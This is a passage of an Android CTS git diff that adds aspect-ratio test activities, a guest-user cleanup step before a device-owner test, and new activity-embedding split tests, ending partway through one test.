-class TestAppDetails {
-    String mPackageName;
-    int mResourceIdentifier;
-}
+import android.app.Activity;
+
+// Test target activity that has maxAspectRatio="1.0" and resizeableActivity="true".
+public class MaxAspectRatioResizableActivity extends Activity {}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MaxAspectRatioUnsetActivity.java
similarity index 69%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
copy to tests/framework/base/windowmanager/app/src/android/server/wm/app/MaxAspectRatioUnsetActivity.java
index 936827b..e36af3a 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MaxAspectRatioUnsetActivity.java
@@ -11,13 +11,12 @@
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
- * limitations under the License.
+ * limitations under the License
  */
 
-package com.android.bedstead.testapp;
+package android.server.wm.app;
 
-/** Details about a queryable test app. */
-class TestAppDetails {
-    String mPackageName;
-    int mResourceIdentifier;
-}
+import android.app.Activity;
+
+// Test target activity that has no maxAspectRatio defined and resizeableActivity="false".
+public class MaxAspectRatioUnsetActivity extends Activity {}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MetaDataMaxAspectRatioActivity.java
similarity index 63%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to tests/framework/base/windowmanager/app/src/android/server/wm/app/MetaDataMaxAspectRatioActivity.java
index 669bb13..bf73b38 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MetaDataMaxAspectRatioActivity.java
@@ -11,14 +11,14 @@
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
- * limitations under the License.
+ * limitations under the License
  */
 
-package com.android.bedstead.testapp;
+package android.server.wm.app;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
+import android.app.Activity;
 
-    }
-}
+// Test target activity that has maxAspectRatio defined as
+//   <meta-data android:name="android.max_aspect" android:value="1.0" />
+// and resizeableActivity="false".
+public class MetaDataMaxAspectRatioActivity extends Activity {}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioActivity.java
similarity index 70%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
copy to tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioActivity.java
index 936827b..a3e23b0 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioActivity.java
@@ -11,13 +11,12 @@
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
- * limitations under the License.
+ * limitations under the License
  */
 
-package com.android.bedstead.testapp;
+package android.server.wm.app;
 
-/** Details about a queryable test app. */
-class TestAppDetails {
-    String mPackageName;
-    int mResourceIdentifier;
-}
+import android.app.Activity;
+
+// Test target activity that has minAspectRatio="true" and resizeableActivity="false".
+public class MinAspectRatioActivity extends Activity {}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioLandscapeActivity.java
similarity index 67%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioLandscapeActivity.java
index 669bb13..52363f1 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioLandscapeActivity.java
@@ -11,14 +11,13 @@
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
- * limitations under the License.
+ * limitations under the License
  */
 
-package com.android.bedstead.testapp;
+package android.server.wm.app;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
+import android.app.Activity;
 
-    }
-}
+// Test target activity that has minAspectRatio="true", resizeableActivity="false",
+// and screenOrientation="landscape".
+public class MinAspectRatioLandscapeActivity extends Activity {}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioPortraitActivity.java
similarity index 67%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioPortraitActivity.java
index 669bb13..aed58e1 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioPortraitActivity.java
@@ -11,14 +11,13 @@
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
- * limitations under the License.
+ * limitations under the License
  */
 
-package com.android.bedstead.testapp;
+package android.server.wm.app;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
+import android.app.Activity;
 
-    }
-}
+// Test target activity that has minAspectRatio="true", resizeableActivity="false",
+// and screenOrientation="portrait".
+public class MinAspectRatioPortraitActivity extends Activity {}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioUnsetActivity.java
similarity index 69%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
copy to tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioUnsetActivity.java
index 936827b..ecc6ade 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/MinAspectRatioUnsetActivity.java
@@ -11,13 +11,12 @@
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
- * limitations under the License.
+ * limitations under the License
  */
 
-package com.android.bedstead.testapp;
+package android.server.wm.app;
 
-/** Details about a queryable test app. */
-class TestAppDetails {
-    String mPackageName;
-    int mResourceIdentifier;
-}
+import android.app.Activity;
+
+// Test target activity that has no minAspectRatio defined and resizeableActivity="false".
+public class MinAspectRatioUnsetActivity extends Activity {}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java
index f781d2e..9c611ea 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/RenderService.java
@@ -16,13 +16,16 @@
 
 package android.server.wm.app;
 
+import static android.server.wm.app.Components.RenderService.BROADCAST_EMBED_CONTENT;
+import static android.server.wm.app.Components.RenderService.EXTRAS_BUNDLE;
+import static android.server.wm.app.Components.RenderService.EXTRAS_DISPLAY_ID;
+import static android.server.wm.app.Components.RenderService.EXTRAS_HOST_TOKEN;
+import static android.server.wm.app.Components.RenderService.EXTRAS_SURFACE_PACKAGE;
 import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
 
 import android.app.Service;
 import android.content.Context;
 import android.content.Intent;
-import android.graphics.PixelFormat;
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
 import android.os.IBinder;
@@ -32,18 +35,13 @@
 import android.view.MotionEvent;
 import android.view.SurfaceControlViewHost;
 import android.view.View;
-import android.view.WindowManager;
 import android.widget.Button;
 
-public class RenderService extends Service {
-    static final String EXTRAS_BUNDLE = "INTENT_BUNDLE";
-    static final String EXTRAS_DISPLAY_ID = "hostDisplayId";
-    static final String EXTRAS_HOST_TOKEN = "hostInputToken";
-    static final String BROADCAST_EMBED_CONTENT
-            = "android.server.wm.app.RenderService.EMBED_CONTENT";
-    static final String EXTRAS_SURFACE_PACKAGE = "surfacePackage";
+import java.util.concurrent.CountDownLatch;
 
+public class RenderService extends Service {
     private int mOnMotionEventDelayMs;
+    CountDownLatch mViewDrawnCallbackLatch = new CountDownLatch(1);
 
     private boolean onTouch(View v, MotionEvent event) {
         SystemClock.sleep(mOnMotionEventDelayMs);
@@ -60,7 +58,7 @@
 
         SurfaceControlViewHost surfaceControlViewHost = getSurfaceControlViewHost(hostToken,
                 hostDisplayId);
-        sendSurfacePackage(surfaceControlViewHost.getSurfacePackage());
+        new Thread(()-> sendSurfacePackage(surfaceControlViewHost.getSurfacePackage())).start();
         return null;
     }
 
@@ -71,6 +69,8 @@
 
         View embeddedView = new Button(this);
         embeddedView.setOnTouchListener(this::onTouch);
+        embeddedView.getViewTreeObserver().registerFrameCommitCallback(
+                mViewDrawnCallbackLatch::countDown);
         DisplayMetrics metrics = new DisplayMetrics();
         displayContext.getDisplay().getMetrics(metrics);
         surfaceControlViewHost.setView(embeddedView, metrics.widthPixels, metrics.heightPixels);
@@ -84,8 +84,12 @@
     }
 
     private void sendSurfacePackage(SurfaceControlViewHost.SurfacePackage surfacePackage) {
-        Intent broadcast = new Intent();
-        broadcast.setAction(BROADCAST_EMBED_CONTENT);
+        try {
+            // wait until we commit a frame from the embedded viewrootimpl
+            mViewDrawnCallbackLatch.await();
+        } catch (InterruptedException ignored) {
+        }
+        Intent broadcast = new Intent(BROADCAST_EMBED_CONTENT);
         broadcast.putExtra(EXTRAS_SURFACE_PACKAGE, surfacePackage);
         sendBroadcast(broadcast);
     }
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 7f3cf16..02690a3 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -49,10 +49,14 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
+import android.Manifest;
+import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.UserInfo;
 import android.os.ResultReceiver;
+import android.os.UserManager;
 import android.platform.test.annotations.Presubmit;
 import android.platform.test.annotations.SystemUserOnly;
 import android.provider.Settings;
@@ -61,6 +65,7 @@
 
 import androidx.annotation.Nullable;
 import androidx.test.filters.FlakyTest;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.AppOpsUtils;
 
@@ -488,6 +493,45 @@
         assertTaskStack(null, APP_A_BACKGROUND_ACTIVITY);
     }
 
+    /**
+     * Returns a list of alive users on the device
+     */
+    private List<UserInfo> getAliveUsers() {
+        // Setting the CREATE_USERS permission in AndroidManifest.xml has no effect when the test
+        // is run through the CTS harness, so instead adopt it as a shell permission. We use
+        // the CREATE_USERS permission instead of MANAGE_USERS because the shell can never use
+        // MANAGE_USERS.
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity(Manifest.permission.CREATE_USERS);
+        List<UserInfo> userList = mContext.getSystemService(UserManager.class)
+                .getUsers(/* excludePartial= */ true,
+                        /* excludeDying= */ true,
+                        /* excludePreCreated= */ true);
+        uiAutomation.dropShellPermissionIdentity();
+        return userList;
+    }
+
+    /**
+     * Removes the guest user from the device if present
+     */
+    private void removeGuestUser() {
+        List<UserInfo> userList = getAliveUsers();
+        for (UserInfo info : userList) {
+            if (info.isGuest()) {
+                removeUser(info.id);
+                // Device is only allowed to have one alive guest user, so stop if it's found
+                break;
+            }
+        }
+    }
+
+    /**
+     * Removes a user from the device given their ID
+     */
+    private void removeUser(int userId) {
+        executeShellCommand(String.format("pm remove-user %d", userId));
+    }
+
     @Test
     @SystemUserOnly(reason = "Device owner must be SYSTEM user")
     public void testDeviceOwner() throws Exception {
@@ -497,6 +541,15 @@
             return;
         }
 
+        // Remove existing guest user. The device may already have a guest present if it is
+        // configured with config_guestUserAutoCreated.
+        //
+        // In production flow the DO can only be created before device provisioning finishes
+        // (e.g. during SUW), and we make sure the guest user in only created after the device
+        // provision is finished. Ideally this test would use the provisioning flow and Device
+        // Owner (DO) creation in a similar manner as that of production flow.
+        removeGuestUser();
+
         String cmdResult = runShellCommand("dpm set-device-owner --user 0 "
                 + APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
         assertThat(cmdResult).contains("Success");
diff --git a/tests/framework/base/windowmanager/jetpack/Android.bp b/tests/framework/base/windowmanager/jetpack/Android.bp
index 5dc3218..5da9c77 100644
--- a/tests/framework/base/windowmanager/jetpack/Android.bp
+++ b/tests/framework/base/windowmanager/jetpack/Android.bp
@@ -53,8 +53,6 @@
     ],
     static_libs: [
         "compatibility-device-util-axt",
-    ],
-    libs: [
         "cts_window-extensions",
         "cts_window-sidecar",
     ],
@@ -71,11 +69,11 @@
         "compatibility-device-util-axt",
         "cts-wm-util",
         "platform-test-annotations",
+        "cts_window-sidecar",
+        "cts_window-extensions",
     ],
     libs: [
         "android.test.base",
-        "cts_window-extensions",
-        "cts_window-sidecar",
     ],
     test_suites: [
         "cts",
diff --git a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
index 25e12ab..3b3909a 100644
--- a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
@@ -25,11 +25,14 @@
                       android:required="false" />
         <uses-library android:name="androidx.window.sidecar"
                       android:required="false" />
-        <activity android:name="android.server.wm.jetpack.TestActivity" />
-        <activity android:name="android.server.wm.jetpack.TestConfigChangeHandlingActivity"
+        <activity android:name="android.server.wm.jetpack.utils.TestActivity" />
+        <activity android:name="android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity"
                   android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
         />
-        <activity android:name="android.server.wm.jetpack.TestGetWindowLayoutInfoActivity" />
+        <activity android:name="android.server.wm.jetpack.utils.TestGetWindowLayoutInfoActivity" />
+        <activity android:name="android.server.wm.jetpack.utils.TestActivityWithId"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
+        />
     </application>
 
     <!--  self-instrumenting test package. -->
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingFinishTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingFinishTests.java
new file mode 100644
index 0000000..3b1afc5
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingFinishTests.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityAndVerifySplit;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.server.wm.jetpack.utils.ActivityEmbeddingTestBase;
+import android.server.wm.jetpack.utils.TestActivity;
+import android.server.wm.jetpack.utils.TestActivityWithId;
+import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.window.extensions.embedding.SplitInfo;
+import androidx.window.extensions.embedding.SplitPairRule;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Tests for the {@link androidx.window.extensions} implementation provided on the device (and only
+ * if one is available) for the Activity Embedding functionality. Specifically tests activity
+ * finish scenarios.
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerJetpackTestCases:ActivityEmbeddingFinishTests
+ */
+
+@RunWith(AndroidJUnit4.class)
+public class ActivityEmbeddingFinishTests extends ActivityEmbeddingTestBase {
+
+    /**
+     * Tests that finishing the primary activity results in the secondary activity resizing to fill
+     * the task.
+     */
+    @Test
+    public void testFinishPrimary() throws InterruptedException {
+        SplitPairRule splitPairRule = createWildcardSplitPairRule();
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+        TestActivity secondaryActivity = (TestActivity) startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule, "secondaryActivity", mSplitInfoConsumer);
+
+        // Finishing the primary activity should cause the secondary activity to resize to fill the
+        // task.
+        primaryActivity.finish();
+        assertTrue(secondaryActivity.waitForBoundsChange());
+        assertEquals(getMaximumActivityBounds(secondaryActivity),
+                getActivityBounds(secondaryActivity));
+
+        // Verify that there are no split states
+        List<SplitInfo> splitInfoList = mSplitInfoConsumer.waitAndGet();
+        assertTrue(splitInfoList.isEmpty());
+    }
+
+    /**
+     * Tests that finishing the secondary activity results in the primary activity resizing to fill
+     * the task.
+     */
+    @Test
+    public void testFinishSecondary() throws InterruptedException {
+        SplitPairRule splitPairRule = createWildcardSplitPairRule();
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        TestActivity primaryActivity = (TestActivityWithId)
+                startActivityNewTask(TestActivityWithId.class);
+        TestActivity secondaryActivity = (TestActivity) startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule, "secondaryActivity", mSplitInfoConsumer);
+
+        // Need to reset primary activity bounds change counter because entering the split already
+        // triggered a bounds change.
+        primaryActivity.resetBoundsChangeCounter();
+
+        // Finishing the secondary activity should cause the primary activity to resize to fill the
+        // task.
+        secondaryActivity.finish();
+        assertTrue(primaryActivity.waitForBoundsChange());
+        assertEquals(getMaximumActivityBounds(primaryActivity),
+                getActivityBounds(primaryActivity));
+
+        // Verify that there are no split states
+        List<SplitInfo> splitInfoList = mSplitInfoConsumer.waitAndGet();
+        assertTrue(splitInfoList.isEmpty());
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
new file mode 100644
index 0000000..2614f3d
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
@@ -0,0 +1,378 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.DEFAULT_SPLIT_RATIO;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.assertValidSplit;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.getPrimaryStackTopActivity;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.getSecondaryStackTopActivity;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityAndVerifySplit;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.waitForResumed;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.server.wm.jetpack.utils.ActivityEmbeddingTestBase;
+import android.server.wm.jetpack.utils.TestActivityWithId;
+import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+import android.util.Pair;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.window.extensions.embedding.ActivityRule;
+import androidx.window.extensions.embedding.SplitInfo;
+import androidx.window.extensions.embedding.SplitPairRule;
+
+import com.google.common.collect.Sets;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.function.Predicate;
+
+/**
+ * Tests for the {@link androidx.window.extensions} implementation provided on the device (and only
+ * if one is available) for the Activity Embedding functionality. Specifically tests activity
+ * launch scenarios.
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerJetpackTestCases:ActivityEmbeddingLaunchTests
+ */
+@RunWith(AndroidJUnit4.class)
+public class ActivityEmbeddingLaunchTests extends ActivityEmbeddingTestBase {
+
+    /**
+     * Tests splitting activities with the same primary activity.
+     */
+    @Test
+    public void testSplitWithPrimaryActivity() throws InterruptedException {
+        Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+
+        // Only the primary activity can be in a split with another activity
+        final Predicate<Pair<Activity, Activity>> activityActivityPredicate =
+                activityActivityPair -> primaryActivity.equals(activityActivityPair.first);
+
+        SplitPairRule splitPairRule = new SplitPairRule.Builder(
+                activityActivityPredicate, activityIntentPair -> true /* activityIntentPredicate */,
+                parentWindowMetrics -> true /* parentWindowMetricsPredicate */)
+                .setSplitRatio(DEFAULT_SPLIT_RATIO).build();
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        // Launch multiple activities from the primary activity and verify that they all
+        // successfully split with the primary activity.
+        List<Activity> secondaryActivities = new ArrayList<>();
+        List<List<SplitInfo>> splitInfosList = new ArrayList<>();
+        final int numActivitiesToLaunch = 4;
+        for (int activityLaunchIndex = 0; activityLaunchIndex < numActivitiesToLaunch;
+                activityLaunchIndex++) {
+            Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                    TestActivityWithId.class, splitPairRule,
+                    Integer.toString(activityLaunchIndex) /* secondActivityId */,
+                    mSplitInfoConsumer);
+
+            // Verify the split states match with the current and previous launches
+            secondaryActivities.add(secondaryActivity);
+            final List<SplitInfo> lastReportedSplitInfoList =
+                    mSplitInfoConsumer.getLastReportedValue();
+            splitInfosList.add(lastReportedSplitInfoList);
+            assertEquals(secondaryActivities.size(), lastReportedSplitInfoList.size());
+            for (int splitInfoIndex = 0; splitInfoIndex < lastReportedSplitInfoList.size();
+                    splitInfoIndex++) {
+                final SplitInfo splitInfo = lastReportedSplitInfoList.get(splitInfoIndex);
+                assertEquals(primaryActivity, getPrimaryStackTopActivity(splitInfo));
+                assertEquals(secondaryActivities.get(splitInfoIndex),
+                        getSecondaryStackTopActivity(splitInfo));
+            }
+        }
+
+        // Iteratively finish each secondary activity and verify that the primary activity is split
+        // with the next highest secondary activity.
+        for (int i = secondaryActivities.size() - 1; i >= 1; i--) {
+            final Activity currentSecondaryActivity = secondaryActivities.get(i);
+            currentSecondaryActivity.finish();
+            // A split info callback will occur because the split states have changed
+            List<SplitInfo> newSplitInfos = mSplitInfoConsumer.waitAndGet();
+            // Verify the new split
+            final Activity newSecondaryActivity = secondaryActivities.get(i - 1);
+            assertValidSplit(primaryActivity, newSecondaryActivity, splitPairRule);
+            assertEquals(splitInfosList.get(i - 1), newSplitInfos);
+        }
+    }
+
+    /**
+     * Tests launching activities to the side from the primary activity where the secondary stack
+     * is cleared after each launch.
+     */
+    @Test
+    public void testPrimaryActivityLaunchToSideClearTop() {
+        Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+
+        SplitPairRule splitPairRule = createWildcardSplitPairRule(true /* shouldClearTop */);
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule,
+                "initialSecondaryActivity" /* secondActivityId */, mSplitInfoConsumer);
+
+        // Launch multiple activities to the side from the primary activity and verify that they
+        // all successfully split with the primary activity and that the previous secondary activity
+        // is finishing.
+        final int numActivitiesToLaunch = 4;
+        Activity prevSecondaryActivity;
+        for (int i = 0; i < numActivitiesToLaunch; i++) {
+            prevSecondaryActivity = secondaryActivity;
+            secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                    TestActivityWithId.class, splitPairRule,
+                    Integer.toString(i) /* secondActivityId */, mSplitInfoConsumer);
+            // The previous secondary activity should be finishing because shouldClearTop was set
+            // to true, which clears the secondary container before launching the next secondary
+            // activity.
+            assertTrue(prevSecondaryActivity.isFinishing());
+        }
+
+        // Verify that the last reported split info only contains the final split
+        final List<SplitInfo> lastReportedSplitInfo = mSplitInfoConsumer.getLastReportedValue();
+        assertEquals(1, lastReportedSplitInfo.size());
+        final SplitInfo splitInfo = lastReportedSplitInfo.get(0);
+        assertEquals(1, splitInfo.getPrimaryActivityStack().getActivities().size());
+        assertEquals(1, splitInfo.getSecondaryActivityStack().getActivities().size());
+    }
+
+    /**
+     * Tests that launching activities with wildcard split rules results in the newly launched
+     * activity being split with the activity that has the highest z-order, which is the top
+     * activity in the secondary stack.
+     */
+    @Test
+    public void testSplitWithTopmostActivity() throws InterruptedException {
+        SplitPairRule splitPairRule = createWildcardSplitPairRule();
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+        Activity nextPrimaryActivity = startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule,
+                "initialSecondaryActivity" /* secondActivityId */, mSplitInfoConsumer);
+
+        Map<Activity, List<SplitInfo>> secondaryActivityToSplitInfoMap = new HashMap<>();
+        secondaryActivityToSplitInfoMap.put(nextPrimaryActivity,
+                mSplitInfoConsumer.getLastReportedValue());
+
+        // Store the launched activities in order for later use in checking the split info
+        List<Activity> launchedActivitiesInOrder = new ArrayList<>();
+        launchedActivitiesInOrder.addAll(Arrays.asList(primaryActivity, nextPrimaryActivity));
+
+        // Launch multiple activities to the side from the secondary activity and verify that the
+        // secondary activity becomes the primary activity and that it is split with the activity
+        // that was just launched.
+        final int numActivitiesToLaunch = 4;
+        for (int activityLaunchIndex = 0; activityLaunchIndex < numActivitiesToLaunch;
+                activityLaunchIndex++) {
+            nextPrimaryActivity = startActivityAndVerifySplit(nextPrimaryActivity,
+                    TestActivityWithId.class, splitPairRule,
+                    Integer.toString(activityLaunchIndex) /* secondActivityId */,
+                    mSplitInfoConsumer);
+
+            launchedActivitiesInOrder.add(nextPrimaryActivity);
+
+            // Verify the split states match with the current and previous launches
+            final List<SplitInfo> lastReportedSplitInfoList =
+                    mSplitInfoConsumer.getLastReportedValue();
+            secondaryActivityToSplitInfoMap.put(nextPrimaryActivity, lastReportedSplitInfoList);
+            // The number of splits is number of launched activities - 1 because the first primary
+            // was the only activity to not launch into a split.
+            assertEquals(launchedActivitiesInOrder.size() - 1,
+                    lastReportedSplitInfoList.size());
+            for (int splitInfoIndex = 0; splitInfoIndex < lastReportedSplitInfoList.size();
+                    splitInfoIndex++) {
+                final SplitInfo splitInfo = lastReportedSplitInfoList.get(splitInfoIndex);
+                assertEquals(launchedActivitiesInOrder.get(splitInfoIndex),
+                        getPrimaryStackTopActivity(splitInfo));
+                assertEquals(launchedActivitiesInOrder.get(splitInfoIndex + 1),
+                        getSecondaryStackTopActivity(splitInfo));
+            }
+        }
+
+        // Iteratively finish each secondary activity and verify that the primary activity becomes
+        // the secondary activity and the activity below that becomes the primary activity.
+        for (int i = launchedActivitiesInOrder.size() - 1; i >= 2; i--) {
+            final Activity currentSecondaryActivity = launchedActivitiesInOrder.get(i);
+            currentSecondaryActivity.finish();
+            // A split info callback will occur because the split states have changed
+            List<SplitInfo> newSplitInfos = mSplitInfoConsumer.waitAndGet();
+            // Verify the new split
